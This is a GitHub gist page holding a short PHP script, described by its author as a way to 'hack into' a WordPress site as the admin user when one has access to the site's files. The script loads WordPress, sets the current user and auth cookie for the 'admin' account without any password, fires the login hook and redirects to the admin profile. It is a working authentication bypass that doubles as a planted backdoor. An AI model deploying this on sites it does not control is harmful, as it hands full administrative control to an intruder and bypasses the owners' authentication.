Skip to content

Instantly share code, notes, and snippets.

@Markcial
Created June 29, 2012 09:01
Show Gist options
  • Save Markcial/3016778 to your computer and use it in GitHub Desktop.
Save Markcial/3016778 to your computer and use it in GitHub Desktop.
Hack into a wordpress with the admin profile when you have physical acces to the wordpress files.
<?php
require('wp-blog-header.php');
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action('wp_login', $user_login);
wp_safe_redirect( admin_url( 'profile.php' ) );
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment